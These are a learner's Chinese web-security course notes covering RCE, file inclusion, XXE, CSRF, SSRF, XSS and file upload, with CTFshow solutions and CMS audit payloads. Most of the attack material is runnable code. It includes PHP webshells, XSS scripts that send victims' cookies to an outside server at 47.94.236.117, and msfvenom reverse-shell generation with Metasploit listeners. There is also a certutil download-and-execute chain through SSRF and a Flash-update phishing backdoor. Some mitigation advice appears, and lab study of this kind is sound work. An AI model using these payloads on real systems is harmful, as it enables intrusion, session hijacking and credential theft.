RCE执行:代码执行-命令执行

代码执行:脚本执行代码
命令执行:脚本执行命令

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

#RCE-原理&探针&利用&危害等

举例:

<?php

//eval代码执行

eval(‘phpinfo();’);

//system命令执行

system(‘ipconfig’);

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等

system、shell_exec、popen、passthru、proc_open等

2.Python:

eval exec subprocess os.system commands

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

#CTF-29~39-RCE代码命令执行

29-通配符

system(‘tac fla*.php’);

30-取代函数&通配符&管道符

`cp fla*.ph* 2.txt`; //注意到,反引号“ ` ` ”代表里面的内容是执行,好比使用了system命令,当system被过滤时可以考虑使用反引号。

echo shell_exec(‘tac fla*.ph*’);

31-参数逃逸 //比如代码对参数x过滤很严格,我们可以尝试构建新的参数来实现逃逸,如下代码:

eval($_GET[1]);&1=system(‘tac flag.php’); //高亮处是被过滤检查部分,我们实际使用的代码在另一处不被过滤实现逃逸。

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system(‘tac flag.php’);?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含&伪协议&通配符

data://text/plain,<?=system(‘tac fla*’);?> //使用了伪协议

php://input post:<?php system(‘tac flag.php’);?>

#代码审计-PbootCMS-RCE代码执行 //白盒审计思路就是找到会产生RCE漏洞的特定函数,下面的笔记是借鉴迪总的,看课程的时候没有太理解,希望后期代码审计的时候可以更好的体会。

流程:搜索特定函数->parserIfLabel->parserCommom->About&Content->构造

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

#层面-探针-语言&CMS框架&中间件:
rce漏洞不仅在源码出现,也会在跟配套程序中出现。跟别的WEB漏洞区别是,之前的WEB漏洞只有在网站上有,而RCE漏洞还会产生在中间件等其他地方

http://vulfocus.io/ Shiro weblogic

在下面的网站可以尝试利用payload

https://github.com/payloadbox/command-injection-payload-list

web安全-文件下载、删除、读取

对于文件的操作:上传、包含、下载、删除、读取……在这些功能点产生漏洞,都会对系统安全形成危害。文件下载、读取思路相似,主要是对一些敏感的文件进行操作,比如说凭据。而删除更是高危操作,举个例子,删除漏洞会让攻击者删除一些验证文件,会对访问控制进行破坏,另外,攻击者还会利用该漏洞进行重装攻击,将配置初始化指向攻击者构建的环境。再举一个例子,很多博客系统可以删除文章,以此为切入点思考文件删除漏洞产生原理

回忆之前提到的下载的区别:
1.直连下载,在目录中有的,输入文件名能根据协议类别进行下载。因为直连有就有没有就没有,正经人不会把敏感数据放到可以下载的目录,而且攻击者也没有可以控制的参数,所以是安全的,写死了路径不会有漏洞。
2.常规下载会有特定的判定语句,然后对请求内容进行下载,这种会有参数,如果参数可控,就可能存在有下载漏洞。

在迪总演示外国网站,尝试下载index.php文件,下载后审计其中代码,发现包含很多文件,可以推测一些数据库配置文件应该也是被包含的,所以可以尝试下载数据库配置文件(可以找到特定的名称文件,也可以一个个尝试)。幸运的话可以发现包含的配置信息里的敏感内容,比如数据库账号密码。

下面借鉴迪总笔记:

#白盒审计:

1、文件下载

流程-功能点抓包-寻代码文件-寻变量控制-构造测试

Payload: softadd=d:/1.txt softadd2=d:/1.txt

2、文件删除:74CMS-配合删除重装

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock

3、文件读取:MetInfo-任意读取

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload:/include/thumb.php?dir=http\..\..\config\config_db.php

#黑盒探针

1、URL参数名及参数值分析:

参数名:英文对应翻译

参数值:目录或文件名

2、功能点自行修改后分析:

文件下载,删除,读取等

文件包含漏洞

该漏洞使用多,因为基本上都会使用文件包含来执行代码。比如一些验证模块,是写好之后再在需要认证的地方引用它

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法-见下文

<!–#include file=”1.asp” –>

<!–#include file=”top.aspx” –>

<c:import url=”http://thief.one/1.jsp”>

<jsp:include page=”head.jsp”/>

<%@ include file=”head.jsp”%>

<?php Include(‘test.php’)?>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

在一些存在文件包含漏洞的地方,我们要的到目标内容,在不知道路径以及要包含文件的信息时,可以使用一些伪协议,如php的一些伪协议。在迪总的演示中使用: ?file=php://input
然后用post发送数据

要注意的是,如果要使用伪协议,需要配合配置文件,比如如下图,特定的协议需要在配置文件中设置为打开状态才能使用

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system(‘tac flag.php’);?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

79-data&http协议

payload: ?file=data://text/plain,<?=system(‘tac flag.*’);?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码 //这跟之前文件上传时用到的思路一样,尝试包含日志文件,比如nginx的日志是下面路径,包含执行后抓包,修改UA头,改成payload,放行后,可以在日志查看。

包含:/var/log/nginx/access.log

82-86-SESSION包含 //迪总演示中,linux保存session的地址xxx/temp/temp,每有一次尝试访问网站都会产生session会话。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64: // 有些时候,过滤了“.”也就是不能包含日志文件了

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13: //rot 13

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv(“UCS-2LE”,”UCS-2BE”, ‘<?php eval($_POST[a]);?>’);

echo “经过一次反转:”.$result.”\n”;

echo “经过第二次反转:”.iconv(“UCS-2LE”,”UCS-2BE”, $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过 //如果url会被拼接,那么伪协议就用不了,比如“file”.$url.”.php”这样的话,伪协议会失去作用

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定 //php低版本的缺陷

Payload:

?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

web漏洞-XML-XXE

XML是一种语言,跟html的区别是,xml用来传输数据存储内容数据的,而html是用来展示数据的。

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

相关文章总结,参考:文章

-XXE黑盒发现:
比如在登陆的时候,抓个包,看看报文分析分析

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

-XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

-方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

CSRF、SSRF黑白盒分析

CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为 “One Click Attack” 或 “Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。

CSRF的攻击过程两个条件:

1、目标用户已经登录了网站,能够执行网站的功能。

2、目标用户访问了攻击者构造的URL。

CSRF安全问题黑盒怎么判断:

1、看验证来源不-修复 //referer来源,如果不是从特定同源策略来的数据包不允许执行。但注意,数据包可以修改同源数据。因此只能防一部分。怎么检测是否有同源策略呢?从正常位置点击一个功能,保存这个url然后在另起一个页面输入该url,看是否能够执行。

2、看凭据有无token–修复

3、看关键操作有无验证-修复

-CSRF安全问题白盒怎么审计:

同黑盒思路一样,代码中分析上述三看

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

-SSRF黑盒可能出现的地方:

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

-SSRF白盒可能出现的地方:

1、功能点抓包指向代码块审计

2、功能点函数定位代码块审计

-SSRF常见安全修复防御方案:

1、禁用跳转

2、禁用不需要的协议

3、固定或限制资源地址

4、错误信息统一信息处理

#CSRF-原理&后台自动添加管理员

-案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!

小迪的网站:http://test.xiaodi8.com/

发送的URL:http://47.94.236.117/add.html

利用流程:

1、获取目标的触发数据包

2、利用CSRFTester构造导出

3、诱使受害者访问特定地址触发

#SSRF-原理&服务&协议&内网&漏洞

-参考文章:https://www.t00ls.cc/articles-41070.html

-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到内网某主机的权限!

1、服务探针:

http://127.0.0.1:8081/

http://127.0.0.1:3306/

2、协议玩法:(更多玩法见上图)

file:///D:/www.txt

dict://127.0.0.1:3306/info

ftp://192.168.46.148:21

3、内网扫描:

http://192.168.46.148:8080

4、漏洞利用:

-生成:msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117 LPORT=6688 -f exe -o xx.exe

-监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 6688

run

-下载:http://192.168.46.148:8080/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://47.94.236.117/xx.exe.}

-执行:http://192.168.46.148:8080/?search==%00{.exec|xx.exe.}

XSS

XSS产生于前端,其特征是有输出的特征,也就显示我们输入的数据。下面借鉴迪总的笔记。

#知识点:

1、XSS跨站-原理&攻击&分类等

2、XSS跨站-反射型&存储型&DOM型等

3、XSS跨站-攻击手法&劫持&盗取凭据等

4、XSS跨站-攻击项目&XSS平台&Beef-XSS

1、原理

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

-数据交互的地方

get、post、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

-数据输出的地方

用户资料

关键词、标签、说明

文件上传

2、分类

反射型(非持久型) //一次性的

存储型(持久型) //注入了一次就会一直存在

DOM型 //特征就是接收数据是由javascript实现的而不是php或者其他语言。

mXSS(突变型XSS)

UXSS(通用型xss)

Flash XSS

UTF-7 XSS

MHTML XSS

CSS XSS

VBScript XSS

3、危害

网络钓鱼,包括获取各类用户账号;

窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;

劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;

强制弹出广告页面、刷流量等;

网页挂马;

进行恶意操作,如任意篡改页面信息、删除文章等;

进行大量的客户端攻击,如ddos等;

获取客户端信息,如用户的浏览历史、真实ip、开放端口等;

控制受害者机器向其他网站发起攻击;

结合其他漏洞,如csrf,实施进一步危害;

提升用户权限,包括进一步渗透网站;

传播跨站脚本蠕虫等

4、修复

见绕过课程对比参考

①过滤一些危险字符

②HTTP-only Cookie

③设置CSP(Content Security Policy)

④输入内容长度限制,转义等

防御:使用session、httponly

#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/

#UXSS全称Universal Cross-Site Scripting

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。

MICROSOFT EDGE uXSS CVE-2021-34506

Edge浏览器翻译功能导致JS语句被调用执行 //语句本身不被执行,被浏览器过滤掉,但是在特定版本的edge浏览器启用翻译后,原本被过滤的语句会正常执行

https://www.bilibili.com/video/BV1fX4y1c7rX

#Flashxss-swf引用js的xss

JPEXS Free Flash Decompiler

phpwind SWF反编译 Flashxss

ExternalInterface.call 执行JS代码

Payload:/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//

#PDFXSS-上传后直链触发

1、创建PDF,加入动作JS

2、通过文件上传获取直链

3、直链地址访问后被触发

#XSS-后台植入Cookie&表单劫持

-条件:已取得相关web权限后

1、写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 //别人改了密码仍然有效果,因为采用的是cookie认证。只能利用没有防护的例子。在传递账号密码的时候用到javascript语句:<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>会把账号密码传输到url的get.php文件里。如果是用html写没问题,但是如果这句话写在php文件里,要使用变量来接受,比如:
$x='<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>’;
echo $x;

2、若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现 //记录管理员登陆时的账号密码提交的表单。最关键的就是:找到验证账号密码的文件,因为该文件必然会接受来自表单上传的账号和密码!

#XSS-Flash钓鱼配合MSF捆绑上线

-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)

1、生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe

2、下载官方文件-保证安装正常

3、压缩捆绑文件-解压提取运行

4、MSF配置监听状态

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

5、诱使受害者访问URL-语言要适当

#XSS-浏览器网马配合MSF访问上线

-条件:beef上线受控后或直接钓鱼(浏览器存在0day)

1、配置MSF生成URL

use exploit/windows/browser/ms14_064_ole_code_execution

set allowpowershellprompt true

set target 1

run

2、诱使受害者访问URL-语言要适当

接下来跟着迪总完成CTFshow的相关关卡,来理解xss

316关:
在输入框尝试<script>alert(1)</script>能够弹窗,存在跨站

反射型-直接远程调用

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script> //将当前窗口的cookie发送到 47.94.236.117(这是xiaodi8.com),在服务端会有接收文件,文件代码如下:

<?php
$cookie=$_GET[‘c’];
$myfile=fopen(“cookie.txt”,”w+”);
fwrite($myfile,$cookie);
fclose($myfile);

?>

下面解释一下怎么看cookie,以及怎么跳转指定网页。

检查网页,在控制台可以查看当前浏览器的cookie,如下图:

cookie

也可以查看窗口指向的地址,通过修改.href=”来实现跳转,如下图:

window指向
跳转百度

当管理员点击刚才构建的网址时,会将自己的cookie发送到攻击者的服务器上。

317-反射型-过滤<script>
我们可以尝试使用其他标签,比如<img>

<img src=1 onerror=window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;>

onerror:当图片显示不正常的时候执行,学习html5的时候学习过

318 319-反射型-过滤<img>

<input onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”>

<svg onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //可通杀之前的关卡

比起使用错误事件,使用onload(加载事件)更加方便,因为它不需要验证其他的操作,不需要任何条件久能触发JS语句。遇到标签被过滤,只能挨个尝试其他标签,如果所有标签都失效了那就没办法了。显然做好过滤可以防止xss

320-326-反射型-过滤空格

<svg/onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //用“/”代替空格

327-存储型-无过滤 //恶意代码被保存在数据库中,一被访问就会被触发

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>

328-存储型-注册插入JS //如果我们把用户名和密码改成payload,那么会不会在管理员的后台页面能够查看呢?当管理员查看时触发代码,cookie被攻击者盗取

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>

329-存储型-失效凭据需1步完成所需操作 //模拟管理员一点开session就关闭浏览器,session失效。也就是说攻击者没有在有效期内利用。

<script>

$(‘.laytable-cell-1-0-1’).each(function(index,value){

if(value.innerHTML.indexOf(‘ctf’+’show’)>-1){

window.location.href=’http://47.94.236.117/get.php?c=’+value.innerHTML;

}

});

</script> //因为session获取就失效了,所以直接获取页面的源代码

330-存储型-借助修改密码重置管理员密码(GET) //需要管理员在登陆的时候,点击了带有payload的账户信息,发生了跳转,payload如下:

<script>window.location.href=’http://127.0.0.1/api/change.php?p=123′;</script>

331-存储型-借助修改密码重置管理员密码(POST) //通过正常的抓包我们其实是可以判断出发包的方式,比如当抓包观察到这是用post请求发包的时候,改为以下:

<script>$.ajax({url:’http://127.0.0.1/api/change.php’,type:’post’,data:{p:’123′}});</script> //显然如果用户名和密码在设计的时候就做好过滤,这个漏洞就不会被使用。大部分都是用post提交!

#XSS修复-过滤函数&http_only&CSP&长度限制

1、过滤一些危险字符,以及转义& < > ” ‘ 等危险字符

自定义过滤函数引用

2、HTTP-only Cookie //微软为了保护cookie。如在php配置中httponly=1或者true,全局开启。默认是没有开启的

https://www.php.cn/php-ask-457831.html

php.ini设置或代码引用

session.cookie_httponly =1

ini_set(“session.cookie_httponly”, 1);

3、设置CSP(Content Security Policy) //文件的一个安全策略,防止数据被外发。要绕过只能把他删除掉,找到源码然后删掉它

https://blog.csdn.net/a1766855068/article/details/89370320

header(“Content-Security-Policy:img-src ‘self’ “);

4、输入内容长度限制,实体转义等

文件上传-黑盒测试-白盒测试

#白盒审计-Finecms-代码常规-处理逻辑

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-CuppaCms-中间件-.htaccess

黑盒思路:存在文件管理上传改名突破,访问后在突破

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路:探针目录利用编辑器漏洞验证测试

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

#文件上传:

黑盒:寻找一切存在文件上传的功能应用//能够上传文件来修改信息

1、个人用户中心是否存在文件上传功能

2、后台管理系统是否存在文件上传功能

3、字典目录扫描探针文件上传构造地址 //如upload.php等

4、字典目录扫描探针编辑器目录构造地址

白盒:看三点,中间件,编辑器,功能代码

1、中间件直接看语言环境常见搭配

2、编辑器直接看目录机构或搜索关键字

3、功能代码直接看源码应用或搜索关键字

我们可以从白盒角度去分析,从黑盒角度去测试

在演示xxcms的时候(该cms)是一个文件管理系统。在file management 这个地方可以上传图片。但是存在检查过滤,单纯的抓包改数据不能够突破后缀名检查。但是该cms存在重命名功能,此时企图重命名原来的png文件为xxx.php文件,正常来说系统会限制修改后缀名,所以正常来说修改过后的文件名为xxx.php.png。此时我们可以抓包看一下数据包能不能操作,发现有一个:
from xxx.php.png to xxx.php.png …… //此时我们猜想起了决定性作用的是to 后面的文件名,所以改包,把to后的文件名改成xxx.php发现可以成功修改名字,确实把png文件改成了php文件。一般的这个时候如果php文件里面是后门代码的话,我们就可以按照原本的思路进行连接。
但是,在演示的时候出现了在实战中经常会遇到的情况,就是访问路径的时候显示403,我们没有权限去访问这个路径。原因是存在一个.htaccess文件过滤了php文件名,限制了访问带php后缀名的url。因为开发者知道这个目录不应该存在php文件。
解决这个问题的思路:
1.把php上传到其他路径,其他路径可能没有被限制; //此时我们可以通过文件路径../或者多级跳../../ 来切换到一个不被过滤的目录然后再连接后门代码。
2.让.htaccess文件失效//但是在黑盒情况下我们并不清楚是因为这个文件生效;

另一个cms使用白名单机制,十分严谨。提示我们可以写代码的时候把后缀名固定住,防止抓包改包修改数据。

别的也有用%00截断(适用于php5.4版本之前)现在php少了,绝大部分是php7,php5少了很多了。

白盒审计三个注意点
·中间件
·编辑器 // 扫目录扫出编辑器,找到版本号,找到漏洞EXP,利用漏洞
·功能代码

文件上传-中间件解析漏洞-编辑器安全

之前的文章,通过ctfshow的二十个关卡的解题来了解文件上传的形式,注意到很多时候文件上传需要配合其他前置条件才能更好的实现。

借助迪总的笔记,然后再做自己的学习感悟。

#中间件文件解析-IIS&Apache&Nginx

-IIS 6 7 文件名 目录名

1、文件名:x.asp;.x.jpg //上传正常图片之后,一般输入路径能看到保存的图片。但是在这个漏洞环境下,修改图片的名字(如上),再次访问地址的时候,会出现解析代码的行为。如果该文件里面写有恶意代码,将会被执行。

2、目录名:x.asp/x.jpg //而目录同样存在风险,如果一个目录的名字,以.asp为例子,在目录里面的jpg文件如果含有基于asp代码写的恶意脚本,也能被解析执行。

3、IIS7.X与Nginx解析漏洞一致

-Apache 换行解析 配置不当

1、换行解析-CVE-2017-15715

其2.4.0~2.4.29版本中存在一个解析漏洞 //上传之后可能会有黑白名单限制。可以考虑使用截断来人绕过检测规则,比如说xxx.jpg%0a

2、配置不当-.htaccess配置不当

AddHandler application/x-httpd-php .php

-Nginx 文件名逻辑 解析漏洞

1、文件名逻辑-CVE-2013-4547

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、解析漏洞-nginx.conf配置不当

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

#Web应用编辑器-Ueditor文件上传安全

<form action=”http://192.168.46.139/net/controller.ashx?action=catchimage” enctype=”multipart/form-data” method=”POST”>

<p>shell addr: <input type=”text” name=”source[]” /></p>

<input type=”submit” value=”Submit” />

</form>

#实例CMS&平台-中间件解析&编辑器引用

1、中间件配置不当导致文件被恶意解析

2、CMS源码引用外部编辑器实现文件上传

web安全文件上传漏洞

之前学习web漏洞的时候已经写过相关文章,但是仅学习原理知识远远不够,所以应该结合实践详细学习。跟着迪总把CTFshow的文件上传部分做一遍。

文件上传经常需要抓包,所以本篇文章主要利用的工具:
1.burp suit
2.firefox渗透版

bp和firefox

151:
题目显示是前端验证。用bp抓包,当上传png格式文件的时候抓到包,放行允许上传,但是jpg文件没抓到包,限制上传。这里说明数据没有传到后台验证,即本地验证也就是前端验证。那么对于这种情况可以审查源代码,查看他的判定条件。
这道题F12查看源码的时候,发现限制文件上传只能是png,那么右击上传按钮选择查看元素,修改文件类型为jpg可以实现jpg文件的上传。

这是典型的JS验证,攻击者只需要把后门文件通过这个功能点上传,就能实现目的。然后使用:蚁剑、哥斯拉、冰蝎等连接。
上传一句话后门之后,访问上传路径,然后再post处输入a(a是后门文件里的参数)=system(‘ls’); 来查看文件。

然后使用 a=system(‘ls ../’); 跳转到上一级目录,该操作系统为linux

最后执行a=system(‘tac ../flag.php’); 读取flag文件


152:
按照151的做法来,发现修改前端格式为php之后上传php代码,出现了类型不正确

也就是说事情没有那么简单,本关除了验证后缀名,还会验证MIME类型,如下图,如果是png文件会返回image/png,而我们改成php文件之后,就变成了下图的content-type

这个是后端验证生成的,我们可以修改成image/png,因为png是后端合法的类型,如下图

之后按照151那样操作得到flag

153:按照前两关思路来,没有作用。这题考点是 .user.ini 文件。
首先按照前两步骤的方式上传.uer.ini文件,内容是.user.ini:auto_prepend_file=test.png//绿色是要包含的文件。
然后再上传test.png,内容是后门代码:<?php eval($_POST[x]);?>
两个文件都上传成功之后,按照之前的方法找flag。
本质上这是通过文件包含间接执行文件。在本关中访问/upload的时候其实默认访问了index.php,不是访问.user.ini也不是访问test.png来触发的后门代码。index.php能让user.ini生效。具体可以查看如何使ini生效的配置,使得png文件里面的代码能够被解析执行。

154:
按照前三步做法,最后失败,回显状态码,提示后门文件上传失败

当修改内容发现又可以成功,如下图

所以这关对文件的内容进行了验证,代码中应该使用了正则表达式过滤掉<?php 这个语句。思路是使用短标签,下面四种方法执行php,但是需要配置,根据实际情况使用,推荐3、4。

1、<? echo ‘123’;?> //前提是开启配置参数short_open_tags=on

2、<?=(表达式)?> //不需要开启参数设置

3、<% echo ‘123’;%> //前提是开启配置参数asp_tags=on

4、<script language=”php”>echo ‘1’; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

之后按照前面步骤,向upload发送post包:x=system(‘tac ../flag.php’);

155:跟154一样

156:有时候遇到类似过滤,一个个删除看看过滤了哪些字符,然后找到替代的方法。再156中,过滤了POST[x]中的[x],此时只需要换成 {x} 即可

157:除了过滤{}、php、“;”可能还用正则过滤了别的字符。这个时候我们可以直接
<?=system(‘tac ../fl*’)?> //直接运行命令,并且使用通配符*可以表达出php
之后访问upload即可,不用再post参数因为我们没写后门代码。

158:这次连()也被过滤了,怎么办呢?由于php的特性,` `里面的内容会被当成命令执行,可以从这入手。

JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:<?=system(‘tac ../fl*’)?>

test.png:<? echo `tac /var/www/html/f*`?>

160:连` `都不能用了!咋整?这个靶场中间件用的是nginx,他有一个日志文件会记录传输得数据,因此我们可以尝试使用文件包含的思路,去包含日志文件的后门代码。

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include”/var/lo”.”g/nginx/access.lo”.”g”?> //经过了拆分,数据里的符号会被过滤掉,之后还能拼接回来。

按道理说,上传了png和ini直接/upload/打开会出现日志文件,然后再抓包,修改user-agent:<?php eval($_POST[x]);?> 同时在第一行 GET后面修改地址为一个不一样的记得住的地址,发包,再次访问upload查看记录。
最后按照之前的步骤发post包读取flag

这是由于php路径被限制了

161:这关检测文件头,文件头有关的数据我在其他文章写有过。
比如GIF的文件头:GIF89A
本题过滤空格,所以要换行。

文件头部检测是否为图片格式文件

.user.ini:
GIF89A
auto_prepend_file=test.png

test.png:
GIF89A
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>

一样的,再改user-agent:后门代码//会被记录下来.

162:限制继续增加,现在连“.”也不允许,这说明后缀名就不能使用了。此时我们依然可以使用文件包含的思想,可以把后门代码写在某个网页,再发包申请包含这个网页上的后门文件。关键点在于UPL是有“.”的,不过我们可以在线转换ip为数字,就能实现。

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

二次渲染,其实是说中大型的网站,为了美观往往会修改图片的格式,可能会增删一些图片里面的数据。如果用010editor查看原图和上传之后的图,经过二次渲染后上传的图会有一部分与原图长生差异。此时我们要写入后门代码,就应该写在有与原图一致的地方。
然而,手工加入是很难实现的,看运气。所以大部分都是用工具生成图片码。
